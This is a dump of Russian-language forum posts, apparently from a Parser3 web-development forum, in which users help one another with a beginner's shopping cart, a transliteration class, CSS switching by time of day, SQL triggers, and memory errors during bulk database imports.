"41647","Мне нужно как то пометить кнопку удалить чтобы при нажатии на нее удалялась именно данная запись\
\
[url]http://www.parser.ru/forum/?id=41631 [/url]"
"41648","У записи должно быть id, WHERE id='$id' - к примеру.."
"41650","так по моему даже лучше по причине того что пользователь (пусть даже вы) сможет отменить свой выбор..."
"41651","<BUTTON name=\"ok\" value=\"$shop.zakaz\" type=\"submit\">\
удалить</BUTTON>"
"41652","Я хочу чтобы при выводе данных из БД html-конструкции воспринимались как код html форматирования, но они отображаются как обычный текст. Например, в БД я записываю: «<a href=”#”>111</a>» в ответ браузер вместо ссылки на 111 выдает текст «<a href=”#”>111</a>» (я пробовал менять тип данных у строки – не помогает).\
\
Пожалуйста, подскажите, как мне хранить html-код в БД MySQL?\
\
Заранее благодарю."
"41655","Единственное, что забыл указать, это поставить:\
[i]In Filter[/i]\
Тогда в встроенном обозревателе HomeSite+ можно видеть файлы *.p, *.p2, *.p3... А Вы, наверное, хотели сказать, что если сделать в Color Coding по умолчанию Parser?"
"41656","В продолжение http://www.parser.ru/forum/?id=41027\
\
http://www.artlebedev.ru/studio/us/i/p/739a518169651743.jpg\
\
Тоже запомнить! Трижды говорить спасибо!"
"41658","Пожалуйста подскажите кто знает:\
у таблицы есть триггер (FOR INSERT, UPDATE)\
как внутри этого триггера получить значения полей записи, для которой сработал данный триггер.\
Спасибо."
"41659","Пример:\
\
Предположим у тебя есть теблица, полученная из SQL $basket\
с полями:\
bas_id\
name\
quantity\
...\
\
[code]\
^basket.menu{\
<form method=\"get\">\
<input type=\"hidden\" name=\"action\" value=\"del\">\
<input type=\"hidden\" name=\"bas_id\" value=\"$basket.bas_id\">\
<input type=\"submit\" value=\"Удалить\">\
</form>\
}\
[/code]\
\
Дальше ты уже знаешь..."
"41662","Нашел:$файл.cdate"
"41665","А Петрушин вот - http://paf.design.ru/200305egipt-paf-glass-of-juice.jpg"
"41669","=)\
Я плакалъ. Одно время программировал на Парсере, потом понял: Парсер как был, так и останется местной российской поделкой, которой далеко до PHP (про .NET, Java etc не говорю - это технологии совершенно другого уровня). А \"сама Студия\" использует Парсер только для того, чтобы привязать клиентов к своей технологической платформе (следовательно, фактически получить монополию на поддержку сайта).\
\
Клиенты правильно делают, что косо смотрят в сторону Парсера - ни один уважающий себя [i]программист[/i] не будет использовать язык, в котором данные мешаются с кодом."
"41671","Спасибо,\
можно не отвечать - я уже разобрался.\
если кому интересно:\
\
select @f=field1 from [table] where field1 in \
(select field1 from inserted)\
\
@f - декларированная переменная\
[table]- таблица с триггером\
field1 - поле, значение которого надо получить."
"41672","[code]\
field1=inserted.field1\
[/code]\
\
паралельно oracle. (поленился и в доку не посмотрел ;)"
"41673","товарищи как сделать чтобы в завилимости от времени суток загружался нужный css'ник"
"41674","С проблемой добавления кнопки \"удалить\" справился теперь другая:(\
\
при изменении количества товара изменяется только первый товар а второй третий и т.д не меменяется\
\
[code]\
<input type=\"text\" name=\"kolichestvo\" value=\"$shop.kolichestvo\"><br>\
<BUTTON name=\"izmenit\" value=\"$shop.zakaz\" type=\"submit\">\
 изменить</BUTTON>\
<BUTTON name=\"ok\" value=\"$shop.zakaz\" type=\"submit\">\
 удалить</BUTTON>}\
<input type=\"hidden\" name=\"tip\" value=\"$shop.zakaz\">\
}\
     </td>\
   </tr>\
</table>\
</form>\
<br><br>\
\
$mena[$form:izmenit]\
^if(def $mena){\
^shop.menu{\
^connect[$connect_p3test]{^void:sql{update shop set kolichestvo = $form:kolichestvo where zakaz='$form:tip'}}}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
\
\
$clicked[$form:ok] \
^if(def $clicked){\
^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:ok'}}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
[/code]"
"41675","[code]\
$date_now[^date::now[]]\
^if($date_now.hour >0 && $date_now.hour <6){<link rel=\"Stylesheet\" type=\"text/css\" href=\"/night.css\">}\
^if($date_now.hour >=6 && $date_now.hour <12){<link rel=\"Stylesheet\" type=\"text/css\" href=\"/morning.css\">}\
^if($date_now.hour >=12 && $date_now.hour <18){<link rel=\"Stylesheet\" type=\"text/css\" href=\"/day.css\">}\
^if($date_now.hour >=18 && $date_now.hour <=23){<link rel=\"Stylesheet\" type=\"text/css\" href=\"/evening.css\">}\
[/code]"
"41676","Попробовал сделать класс транслитератора. Вижу, что не всё красиво и удобно... Прошу, написать мнение, предложения и если есть желание и возможность, то добавить или изменить что-нибудь.\
\
Сам класс transliter.p:\
[code]\
@CLASS\
transliter\
\
@load[]\
$eng[^table::create{from	to\
А	A\
а	a\
Б	B\
б	b\
В	V\
в	v\
Г	G\
г	g\
Д	D\
д	d\
Е	E\
е	e\
Ё	E\
ё	e\
Ж	Zh\
ж	zh\
З	Z\
з	z\
И	I\
и	i\
Й	J\
й	j\
К	K\
к	k\
Л	L\
л	l\
М	M\
м	m\
Н	N\
н	n\
О	O\
о	o\
П	P\
п	p\
Р	R\
р	r\
С	S\
с	s\
Т	T\
т	t\
У	U\
у	u\
Ф	F\
ф	f\
Х	H\
х	h\
Ц	Ts\
ц	ts\
Ч	Ch\
ч	ch\
Ш	Sh\
ш	sh\
Щ	Shch\
щ	shch\
Ъ	'\
ъ	'\
Ы	Y\
ы	y\
Ь	'\
ь	'\
Э	Ye\
э	ye\
Ю	Yu\
ю	yu\
Я	Ya\
я	ya\
}]\
# Таблица ГОСТ 16876-71\
$gost[^table::create{from	to\
А	A\
а	a\
Б	B\
б	b\
В	V\
в	v\
Г	G\
г	g\
Д	D\
д	d\
Е	E\
е	e\
Ё	E\
ё	e\
Ж	Zh\
ж	zh\
З	Z\
з	z\
И	I\
и	i\
Й	Jj\
й	jj\
К	K\
к	k\
Л	L\
л	l\
М	M\
м	m\
Н	N\
н	n\
О	O\
о	o\
П	P\
п	p\
Р	R\
р	r\
С	S\
с	s\
Т	T\
т	t\
У	U\
у	u\
Ф	F\
ф	f\
Х	Kh\
х	kh\
Ц	С\
ц	с\
Ч	Ch\
ч	ch\
Ш	Sh\
ш	sh\
Щ	Shh\
щ	shh\
Ъ	\"\
ъ	\"\
Ы	Y\
ы	y\
Ь	'\
ь	'\
Э	Eh\
э	eh\
Ю	Ju\
ю	ju\
Я	Ja\
я	ja\
}]\
\
@format[stroke;table;string]\
$type[^switch[$table]{\
	^case[GOST]{$gost}\
	^case[DEFAULT]{$eng}\
}]\
^if(def $string){\
	$original[^stroke.replace[$type]]\
	^switch[$string]{\
		^case[DEFAULT]{^original.match[\\s][g]{_}}\
		^case[s]{^original.match['][g]{_}}\
	}\
}{\
	^stroke.replace[$type]\
}\
[/code]\
\
ИНФО о вызове:\
[code]\
$translit[^transliter::load[]]\
^translit.format[Вася Петров Шьявлев Эмолъволяновь;GOST]\
[/code]"
"41678","Маленькая проблемка, если на дворе 0:01 времени то вообще никакой ccs'ник не грузится ;("
"41679","а усовершенствовать почти всегда можно:\
[code]\
@load[] -> @auto[]\
\
@format[text;table;string][type]\
$type[^switch[$table]{\
	^case[GOST]{$gost}\
	^case[DEFAULT]{$eng}\
}]\
$result[^text.replace[$type]]\
\
^if(def $string){\
	$result[^result.match[^if($string eq \"s\"){'}{\\s}][g]{_}]\
}\
[/code]\
\
Использование:\
[code]\
^translit:format[Вася Петров Шьявлев Эмолъволяновь;GOST]\
[/code]\
"
"41682","Извините, мне тоже надо закачать картинки и что-то никак не получается, не могли бы ли подробно, для дураков, описать подключение пхп через парсер для загрузки картинок/файлов, а то я не могу понять, что в вашем файле менять надо...\
Большое спасибо."
"41683","Тогда исправьте эту строку\
[code]\
^if($date_now.hour >0 && $date_now.hour <6){<link rel=\"Stylesheet\" type=\"text/css\" href=\"/night.css\">}\
[/code]\
на другую\
[code]\
^if($date_now.hour >=0 && $date_now.hour <6){<link rel=\"Stylesheet\" type=\"text/css\" href=\"/night.css\">}\
[/code]"
"41684","на каждый товарный элемент нужно генерить свой FORM или даже несколько, с укказанием id элемента корзины для изменения"
"41687","блин ниче не получается может подскажете как а то при изменении происходит передача данных только из первой формы независимо какую форму ты изменил???"
"41689","Я нашел решение своей проблемы в создании уникалного номера полю текст!!!\
\
[code]\
<input type=\"text\" name=\"$shop.id\" value=$shop.kolichestvo><br>\
<BUTTON name=\"izmenit\" value=\"$shop.id\" type=\"submit\">\
 изменить</BUTTON>\
<BUTTON name=\"ok\" value=\"$shop.zakaz\" type=\"submit\">\
 удалить</BUTTON>\
<input type=\"hidden\" name=\"tip\" value=\"$shop.id\">}\
}\
     </td>\
   </tr>\
</table>\
</form>\
<br><br>\
\
$ident[$form:izmenit]\
^if(def $form:izmenit){\
^connect[$connect_p3test]{^void:sql{update shop set kolichestvo = $form:$ident where id='$form:izmenit' }}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
\
\
\
$clicked[$form:ok] \
^if(def $clicked){\
^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:ok'}}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
[/code]\
\
Рассказываю кому интересно:\
Сначала назначаю уникальное имя полб текст по id \
[code]\
<input type=\"text\" name=\"$shop.id\" value=$shop.kolichestvo>\
[/code]\
\
тоже имя кнопке изменить\
[code]\
<BUTTON name=\"izmenit\" value=\"$shop.id\" type=\"submit\">\
 изменить\
</BUTTON>\
\
и тоже имя скрытому параметру hidden\
[code]\
<input type=\"hidden\" name=\"tip\" value=\"$shop.id\">\
[/code]\
\
затем переменной (любой) ident присваиваю значение скрытого параметра hidden ну дальше я думаю все понятно...\
\
P.S. Может конечно я и не гений а все лишь извращенец может это можно было сделать как нибудь проще но думаю и надеюсь что я кому нибудь помогу!"
"41690","Можно проще. Создаем для каждого элемента заказа свою форму с кнопками изменения/удаления. Вот примерно так:\
\
[code]\
<table>\
^shop.menu{\
  <tr>\
  <form method=\"post\">\
    <td>\
      <b>$shop.title</b> (количество: $shop.count)\
    </td>\
    <td>\
      <input type=\"hidden\" name=\"id\" value=\"$shop.id\">\
      <input type=\"submit\" name=\"change\" value=\"Изменить\">\
      <input type=\"submit\" name=\"delete\" value=\"Удалить\">\
    </td>\
  </form>\
  </tr>\
}\
</table>\
[/code]\
\
Я верно понимаю задачу?.. :)"
"41691","кнопке удалить серавно нужно назначать уникальное имя $shop.id\
полю текст тоже самое и кнопке изменить тоже...\
\
У меня работало только так а извращался я по ВСЯКОМУ..."
"41692","[code]\
# все гениальное просто\
# этот код будет работать без формы и кучи хидденов...\
# я бы его еще раз переписал, грамотнее, но, Вы ведь гений... оставляю на Вас...\
\
<table>\
^shop.menu{\
  <tr>\
    <td>\
        <b>$shop.title</b> (колличество: $shop.count)\
    </td><td>\
        <button onclick=\"location.href='?act=1&shop_id=$shop.id'\">Изменить</button>\
        <button onclick=\"location.href='?act=2&shop_id=$shop.id'\">Удалить</button>\
    </td>\
  </tr>\
}\
</table>\
\
^if(def $form:act){\
    ^void:sql{\
        ^if($form:act == 1){\
            ^rem{*** change ***}\
            UPDATE shop SET kolichestvo = $form:ident WHERE id = ^form:shop_id.int(0)\
        }{\
            ^rem{*** delete ***}\
            DELETE FROM shop WHERE id = ^form:shop_id.int(0)\
        }\
    }\
}\
[/code]\
\
PS надежнее сделать это в якоре, черт его знает, может js вообще отключен:\
[code]\
<a href=\"?act=1&shop_id=$shop.id\">изменить</a>\
[/code]"
"41693","Ага, читаю вот и вспоминаю - какой херней я только не страдал тогда... :-)"
"41694","Я к сожалению не могу сейчас попробовать (под рукой нету сервера или хотя бы ftp-клиента, все на работе осталось), но сомнения меня грызут только на счет двух submit:\
\
[code]\
<input [b]type=\"submit\"[/b] name=\"change\" value=\"Изменить\">\
<input [b]type=\"submit\"[/b] name=\"delete\" value=\"Удалить\">\
[/code]\
\
Если так работать отказывается, можно выставить [b]type=\"button\"[/b] и на onclick повесить отправку этой формы (точно не помню строку на javascript) что-то вроде этого: onclick=\"this.submit()\" если не знаете наверняка, уточните на http://xpoint.ru"
"41695","[code]\
<form method=\"post\" [b]name=\"form_$shop.id\"[/b]>\
[/code]"
"41696","Вариант 1:\
\
[code]\
...\
<a href=\"?action=edit&id=$shop.id\">изменить</a>\
<a href=\"?action=delete&id=$shop.id\">изменить</a>\
...\
# использую http://www.parser.ru/forum/?id=14317\
$handlers[\
    $.edit[$edit]\
    $.delete[$delete]\
    $._default[$bad]\
]\
\
@edit[id]\
^if(def $id && ^id.int(0) != 0){\
   ^rem{ изменяем }\
}\
\
@delete[id]\
^if(def $id && ^id.int(0) != 0){\
   ^rem{ удаляем }\
}\
\
@bad[]\
Ошибочка вышла... :(\
[/code]\
\
Вариант 2:\
\
[code]\
<a href=\"?edit=$shop.id\">изменить</a>\
<a href=\"?delete=$shop.id\">изменить</a>\
...\
^if(def $form:edit && ^form:edit.int(0) != 0){\
  ^rem{ изменяем }\
}{\
  ^if(def $form:delete&& ^form:delete.int(0) != 0){\
    ^rem{ удаляем }\
  }\
}\
[/code]"
"41697","[code]\
^if(def $id && ^id.int(0) != 0) eq ^if(^id.int(0))\
[/code]"
"41699","В Windows XP сайт работал, а в Windows 98 Парсер выдает нелепую ошибку:\
\
I/O warning : failed to load external entity \"w:///home/kinolux31/www/common.xsl\"\
compilation error: file w:/home/kinolux31/www/cover.xsl line 3 element import\
xsl:import : unable to load w:///home/kinolux31/www/common.xsl\
\
Все файлы на месте. Изменилось лишь то, что все установлено в Windows98. Как решить эту проблему?"
"41701","Михаил, благодарю за небольшое, но мудрое усовершенствование.\
Если один вопрос. Вы выделили type отдельно, судя по всему из-за того, что он может не использоваться, а как выделить table?\
[code]\
@format[text;string][table][type]\
[/code]\
[i]Выглядит как-то не разумно...[/i]\
\
В общем, вопрос в том, как упростить конструкцию для использования, если не указаны или table, или type?"
"41702","Да, это так :)\
\
На такую конструкцию я наткнулся уже дано в каком-то из Мишиных примеров. Кажется в авторизации. Ну и почему-то начал использовать... :)\
\
Только один вопрос: если $id будет [b]меньше[/b] или равна нулю, тогда не сработает, верно я понимаю?.."
"41703","[code]\
@format[params][type]\
$type[^switch[$params.gost]{\
	^case[1]{$gost}\
	^case[DEFAULT]{$eng}\
}]\
$result[^params.text.replace[$type]]\
\
^if(def $params.string){\
	$result[^result.match[^if(^params.string.int(0)){'}{\\s}][g]{_}]\
}\
\
# Соответственно вызов:\
^translit:format[\
	$.text[Вася Петров Шьявлев Эмолъволяновь]\
	$.gost(1)\
	$.string(1)\
]\
[/code]"
"41705","[code]\
@format[params][type]\
$type[^switch[$params.type]{\
	^case[GOST]{$gost}\
	^case[DEFAULT]{$eng}\
}]\
$result[^params.text.replace[$type]]\
^if(def $params.string){\
	$result[^result.match[^if($string eq \"s\"){'}{\\s}][g]{_}]\
}\
[/code]\
Т.к. будут ещё добавления, решил изменить таким образом.\
\
[b]Вызов.[/b]\
[code]\
^transliter:format[\
	$.text[Вася Петров Шьявлев Эмолъволяновь]\
	$.type[GOST]\
	$.string[s]\
]\
[/code]"
"41706","при условии ^id.int(0) парсер пытается преобразовать id к классу int (integer), если не получится - берет число по умолчанию (первый параметр), т.е., а 0 в парсере - это false, но есть в парсере и класс bool, который именно и возвращает true, false, а не integer, как все привыкли, при попытке вывести объект класса bool будет обычная ругань: \"method_frame may not be overwritten with bool, store it to variable instead\"\
пример:\
[code]\
$id(50)\
# $con is \"bool\" and ^if($con){[b]true[/b]}{false}, but\
# ^if(^con.int(0)){true}{false} eq parser.runtime\
$con(^id.int(0) >= 0)\
\
$id(50)\
# $con is \"double\" and ^if($con || $con == 50){[b]true[/b]}{false}\
$con(^id.int(0))\
[/code]\
\
надеюсь понятно"
"41707","поле hidden не помогает...\
[code]\
<form method=\"post\">\
<table width=80% align=left>\
   <tr>\
     <td>\
^tovar.menu{<strong>$tovar.tovar</strong>  \
<input type=\"radio\" name=\"tovar\" value=\"$tovar.tovar\"><br> \
Цена:$tovar.cena рублей\
<input type=\"hidden\" name=\"cena\" value=\"$tovar.cena\">}[<br><br>]<br><br>\
<BUTTON type=\"submit\" name=\"post\" >\
 <img src=\"basket.gif\" width=\"40\" height=\"40\"></BUTTON>\
     </td>\
   </tr>\
</table>\
</form>\
^if(def $form:post){\
^if(def $form:tovar){\
^connect[$connect_p3test]{^void:sql{insert into shop (zakaz, cena, kolichestvo, user_id, ifo) values ('^if(def $form:tovar){$form:tovar}', '$form:cena', '1', '$user_id', 'имя')}}\
}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
^connect[$connect_p3test]{\
$shop[^table::sql{select zakaz, kolichestvo, id, ifo from shop where user_id='$user_id'}]}\
[/code]\
В поле цена добавляется  всегда цена первого товара"
"41709","'E-mail:' email contains bad characters (specials) [email.format]\
Хотя e-mail на который идет письмо нормальный, проходит проверку на регэкспе"
"41710","ни в коем случае не читайте документацию и не пользуйтесь поиском..."
"41713","ну по каким хоть словам нужно искать в поиске я искал нче не нашел может хоть ссылку кинете???"
"41714","Цена одна и та же, потому, что у Вы генерите поля hidden с одинаковыми именами.\
Вообще код странный, например зачем проверять \
^if(def $form:tovar){$form:tovar} ? Если нет $form:tovar, то в любом случае ничего не добавится.\
Зачем два раза connect? Чем больше connect, тем больше будет ошибок типа too many connections, на серваке (или Вы конечно на хостинге).\
На первый взгнляд здесь легче всего в radio поместить id, при нажатии на кнопку товар (то что добавлять смотрите сами) с этим id будет добавлятся в корзину."
"41715","Почему?\
На самом деле иногда приходится делать уникальными и эелементы форм. Например: делал недавно скрипт для составления прайс-листов, пришлось генерировать ^for[i](1;$it){<input type=\"text\" name=\"good_$i}\
Сначала пробовал через talbes, но столбцов несколько и при работе с бд легче через _$i"
"41718","Только еще один вопрос: если $id(-1) — сработает как false?.."
"41720","В чем смысл указания явного $type[gost] и $string[s]?..\
\
Просто интересно какие могут быть изменения. Если с типом еще понятно — можно указывать и другие таблицы (хотя неясно зачем, ведь транслит он и есть транслит :) ), а вот со строкой не могу никак понять :("
"41721","Всё было нормально, но вдруг такой запрос\
[code]SELECT mid, date, time, user, theme, text, counter FROM $table WHERE `theme` != 'Из новостей' ORDER BY `mid` DESC[/code]\
стал выдавать [b]Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation '<>'[/b]"
"41724","Предлагаю совместными усилями на данном примере дописать класс магазина и выложить его в примеры :) И человек разберется и примеры пополнятся еще одной полезностью :)\
\
Хм. Если не лень. Если есть шанс. :)\
\
Да и в итоге этот самый класс оформить правильно: при создании объекта класса передавать ему csql (как в случае с auth.p)…\
\
А почему бы и нет?..\
\
Когда буду на работе и будет свободное время — обязательно займусь. ;)\
\
Возвращаясь к теме: AL уже сказал, что поле cena для всех элементов имеет одно название, следовательно при получении формы нужно воспользоваться [url=\"http://www.parser.ru/docs/lang/formtables.htm\"]документацией[/url] и еще (AL уже говорил):\
\
[code]\
^if(def $form:tovar){\
^connect[$connect_p3test]{^void:sql{...values ('[b]^if(def $form:tovar)[/b]...}\
}\
# излишне: проверка определенности переменной внутри такой же проверки\
[/code]\
\
А вообще вопрос. Зачем за собой таскать цену, когда она есть в базе товаров?.. В заказе нужно указывать только id товара и его количество. Всю остальную информацию (для вывода пользователю, чтобы он видел название товара и описание, а не только ничего не значащее для него id) цеплять из базы товаров по указанному в базе заказов id. Ну и при добавлении товара в корзину записывать соответственно только id и count."
"41727","Google, Поиск по форуму, словарь английского, терпение, голова"
"41728","Да это как-то в один момент. Переустановил, нормально стало."
"41730","первым вопросом будет: \"а что такое $param.csql?\"..."
"41732","как умножить все столбцы с ценой таблицы товаров на столбцы с количеством таблицы заказов и записать в столбец сумма??"
"41733","Дано: \
цена товара 2 руб.\
кол-во товара 15 шт.\
Найти: \
сумма\
Решение:\
\
сумма = цена товара * кол-во товара"
"41735","надо умножить все столбцы надо наверно какой то цикл сделать\
для одного то оно вот пожалуйста:\
[code]\
$itogo($tovar.cena * $shop.kolichestvo)\
$itogo\
[/code]"
"41736","предлагаю в следующий раз писАть переменные на немецком или французском, еще более читабельно..."
"41737","Спасибо, теперь я точно и наверняка понимаю :)"
"41738","какое меню мне запускать ведь они в разных таблицах...\
и как это из хеша?\
можно на небольшом примере буду крайне признателен"
"41741","У наших клиентов без проблем работает парсер.\
В экшене пришите /cgi-bib/parser3.cgi\
потомучто для апачи вы сами настроили cgi-bin -> moysaytbin"
"41742","Я магазины никогда не писал но...\
Создайте две таблицы\
1 Описывает товар\
id\
name\
price\
...\
..\
.\
2 Описывает корзину\
user_id\
товар_id (см. таблицу №1)\
количество_товара\
\
Когда пользователь кладёт товар в корзиту в таблице 2 вы вносите соответсвующую запись для соответствующего пользователя\
\
В качестве user_id может быть сгенирированно случайное число и записанно в куку пользователю или каким нибудь более изощьрйнным способом см примеры"
"41743","Type - таблица. Таблиц будет 3.\
1) ГОСТ (стандарт).\
[i]многих он не устраивает, но иногда нужен[/i]\
2) Англо-американская.\
[i]более привычная для всех[/i]\
3) Пользовательская.\
[i]полностью настраивается пользователем[/i]\
\
String - обработка строки с помощью регулярных выражений. Их будет несколько.\
Один замена пробелов на \"_\"...\
Строки могут быть разными, если кому-то нужно обработать текст, то понадобятся ещё регулярные выражения."
"41744","$env:HTTP_If_Modified_Since возвращает\
'Mon, 20 Jun 2005 04:00:45 GMT'.\
\
Как это преобразовать в удобоваримую дату, например в unixtimestamp?"
"41745","Шутка конечно. Вобщем написал за сегодня небольшой редактор с подсветкой парсерного кода кому интересно http://www.mindwork.ru/blog\
это сааааааамый первый релиз..."
"41746","http://www.parser.ru/forum/?id=26922 - полностью согласен, а Вы новый велосипед изобрели, на котором можно только на одном колесе ездить - поздравляю..."
"41747","не уверен... но работает, только шаблон нужно доработать... или переработать, дело ваше...\
[code]\
$str[Mon, 20 Jun 2005 04:00:45 GMT]\
\
$str <br /><br />\
\
^str.match[^^\
    ([^^\\,]+)\\,\\s+  # week day\
    ([0-9]+)\\s+     # day\
    ([A-Za-z]+)\\s+  # month\
    ([0-9]+)\\s+     # year\
    ([0-9]{2})\\:([0-9]{2})\\:([0-9]{2})\\s+   # time\
    ([^^^$]+)\
^$][x]{ ... }\
[/code]"
"41748","Мужчина это выборка ВАШИХ последних четырех тредов.\
Сходства не замечаете?\
\
[quot]14.06. 22:53\
есть примитивные начинания разрабатывания собственного мини магазина:) как сделать (смотреть в конце) чтобы при выделении нескольких заказов с целью удалить они бы удалялись а то удаляется\
только [b]первая[/b] запись и все... может сделать какой нибудь цикл???\
\
16.06. 20:15\
Есть форма при добавлении товара в корзину рядом появляется кнопка удалить если сделать так... то удаляется только [b]первая[/b] запись\
\
17.06. 18:00\
С проблемой добавления кнопки \"удалить\" справился теперь другая:(\
при изменении количества товара изменяется только [b]первый[/b] товар\
\
19.06. 11:36  / 19.06. 11:40\
В поле цена добавляется всегда цена [b]первого[/b] товара[/quot]\
\
[color=\"#ff0000\"]Может хватит???[/color]"
"41749","Суть:\
Есть проект, есть команда разработчиков.\
Нужна система групповой разработки.\
Пробовал phpCollab - не то.\
Там закрытая форма, а нужно, чтобы автономная работа осуществлялась.\
Т.е. пользователи имели свободный доступ к информации о стадии проекта, могли подавать запросы на присоединение и открытие собственных проектов.\
Мож есть такая система (с Веб-интерфейсом)?\
Подскажите пожалуйста!"
"41752","1) Проводник (*.html, *.p, *.p2, *.p3).\
2) Поддержка HTML.\
[i]подсветка рекомендуется[/i]"
"41755","Зачем столько серъёзности(сарказма)? Человек просто пошутил, а тут сразу такие заявления. Проще надо быть, проще.\
\
PS: Подозрение, - что вам лично подобные вещи мешают жить, отсюда и прёт всё это."
"41757","А про изобретение влосипеда могу сказать следующее: тоже самое можно сказать и про парсер зачем его было изобритать если есть php ? Да просто потому что для кого то он удобнее."
"41762","попробуйте в эту сторону палочки наклонить."
"41764","Парсер больше удобная технология создания сайтов, чем язык программирования.\
Когда я в молодые годы начал изучать Perl, то я стал писать на нём не сайты, а своеобразный \"парсер\", который бы мог просто и удобно лепить разные блоки в единое целое и выдавать на гора в браузер пользователя. Благо я не написал парсер :)), а нашёл в интернете (случайно нашёл) 2-ю версию парсера от студии Лебедева."
"41765","эта строчка?\
[code]\
if(strpbrk(email, \"()<>,;:\\\\\\\"[]\"/*specials minus @ and . */))\
[/code]\
Не могли бы Вы пояснить немного? Сам эмэйл был 100% правильный \
(я смотрел, обычный эмейл). Я так понял проверяется наличие некоторых символов. Только вопрос - где? И () - это запрещенный символы?"
"41766","Так ведь эти палочки ставит сам Парсер. У меня в теге import прописано лишь имя файла."
"41768","[code]\"()<>,;:\\\\\\\"[]\"[/code]\
то есть символы [b]()<>,;:\\\"[][/b] запрещены."
"41772","а где? в тексте сообщения?"
"41773","Пользовался поиском по форуму и по документации, но ничего точного не нашёл..."
"41774","напишите в форму поиска по документации волшебную фразу \"локальные переменные\" и пойдите по первой ссылке."
"41775","Совсем не обязательно на Парсере!\
На любом языке. Лишь бы полнофункциональный был.\
Нужно - публикация файлов по проектам\
создание проектов (группы пользователей)\
ведение документации как общей так и в проектах\
форум и т.д."
"41779","он взял базовый путь. он где-то задан. в apache?"
"41781","Вам подойдет любая [url=\"http://www.wackowiki.com/\"]вики-система[/url] или уже упоминавшийся здесь [url=\"http://www.npj.ru/\"]НПЖ[/url]"
"41782","При клике по ссылке [url=\"http://www.parser.ru/forum/?type=self\"]\"Свои треды\"[/url] выводится:\
\
out of memory: failed to allocate clean 5124 bytes. heap_used=23781376, heap_free=0, bytes_since_gc=14439628, total_bytes=32547556"
"41784","Уверен, т.к. я зашел и отправил письмо (через ту же форму, тем же скриптом, по тому же e-mail), письмо прошло и ошибок не вызвало.\
Если проверка идет только в адресе получателя, тогда это баг. Но если проверка идет и еще где-то, то тут надо разбираться.\
У меня возникли такие сомнения, потому, что пользователь не смог отправить письмо по 3 адресам - вылетали ошибки, я зашел - все работало. Поэтому я и думаю, что проверяется не только получатель..."
"41785","Уважаемый, Eugene Spearance,\
можно ли сделать возможность работать с расширенными функциями изображений jpg, а именно\
[code]\
Horizontal Resolution:	100 dpi\
Horizontal Resolution:	100 dpi\
Bit Depth:		24\
Frame Count:		1\
[/code]\
???"
"41786","Вот этот путь верный:\
w:///home/kinolux31/www/common.xsl\
Но Парсер не может открыть сей файл. И хотелось бы знать почему.\
\
И еще, весь сервер был просто скопирован с другой машины. Когда я копировал с WinXP на WinXP проблем не возникало. Вот скопировал на машину, где Win98 так сразу эта беда вылезла."
"41787","[code]\
$f[^file::load[text;^untaint{$d.name}]]\
^memory:compact[]\
^t.menu{\
^void:sql{delete from cd where barcode=\"$t.[$bcc]\" and supply=\"$ff.userid\"}\
^void:sql{insert into cd (^tc.menu{^if($ff.[s^tc.line[]] ne none){$ff.[s^tc.line[]],}}supply,update_d) values (^tc.menu{^if($ff.[s^tc.line[]] ne none){\"$t.[$tc.column]\",}}\"$ff.userid\",\"$dnsql\")}\
}\
[/code]\
\
$d.name - загружаемый txt файл-таблица.\
$ff - хеш соответствия полей в таблице из файла полям в таблице базы.\
Размер загружаемого файла 1.7 Mb.\
\
Получаю out of memory ...\
Не совсем понимаю почему, ведь размер файла, который нужно положить в базу на такой большой...\
\
Система FreeBSD 4.1-release\
apache + parser 3.1.3"
"41788","$t - это что? сколько тут строк? мне кажется нужно оптимизировать именно то, что внутри ^t.menu{}\
\
[code]\
^void:sql{delete from cd where barcode=\"$t.[$bcc]\" and supply=\"$ff.userid\"}\
[/code]\
\
заменить на один delete с WHERE barcode IN (^t.menu{$t.[$bcc]}[,])\
\
[code]\
^tc.menu{^if($ff.[s^tc.line[]] ne none){$ff.[s^tc.line[]],}}\
[/code]\
\
это надо вынести до ^t.menu{} и положить результат в переменную, в цикле просто подставлять её значение. это-же просто список полей таблицы или использовать сокращенную форму insert, или использовать множественный insert.\
\
^memory:compact[] поместить ВНУТРЬ этого меню, но выполнять его не на каждой итерации, а например на каждой сотой:\
[code]\
^t.menu{\
...\
^if(!(^t.line[] % 100)){^memory:compact[]}\
}\
[/code]\
\
P.S. 2 ПАФ: это как раз тот случай, про который говорили когда предлагали не писать запросы в menu когда этого не надо."
"41789","$t - это что? сколько тут строк? мне кажется нужно оптимизировать именно то, что внутри ^t.menu{} \
\
Я перепутал с $f. $t - это та самая таблица из файла.\
$t[^file::load[text;^untaint{$d.name}]]\
\
Все что написали сейчас буду пробовать. Очень разумно. Спасибо большое!"
"41791","Вот так стало обрабатывать больше строк и соответственно сработало без ошибок на текущей задаче (каталог 17000 строк):\
[code]\
^memory:compact[]\
^t.menu{\
^void:sql{delete from cd where barcode=\"$t.[$bcc]\" and supply=\"$ff.userid\"}\
}\
\
$sql_fields[^tc.menu{^if($ff.[s^tc.line[]] ne none){$ff.[s^tc.line[]],}}supply,update_d]\
\
^memory:compact[]\
^t.menu{\
^void:sql{insert into cd ($sql_fields) values (^tc.menu{^if($ff.[s^tc.line[]] ne none){\"$t.[$tc.column]\",}}\"$ff.userid\",\"$dnsql\")}\
}\
[/code]\
\
Но есть вопросы:\
1. \"заменить на один delete с WHERE barcode IN (^t.menu{$t.[$bcc]}[,])\" - действительно можно 17000 значений через запятую перечислить в sql-запросе, и это будет работать лучше чем через меню? А если 50 000, 100 000 ?\
\
2. ^memory.compact[] очищает память от неиспользуемых переменных. Тогда почему нужно его ставить внутри цикла ^t.menu{}, если там все переменные используются, и освобождать память не от чего ?"
"41792","сами знаете где"
"41793","вынимаются адреса из перечислений через \",\"\
\
вынимаются адреса из <>\
\
выявите проблему сначала, потом, глядишь, и сообщать будет не о чем."
"41794","если не хотите читать те советы... попробуйте filemon'ом посмотреть."
"41796","Если проверяется не толко \"кому\", то пользователь мог просто указать эти символы например в поле \"от\".\
Спасибо!"
"41797","т.е. после $t[^file::load[text;^untaint{$d.name}]] ^t.menu{} выдаст ошибку."
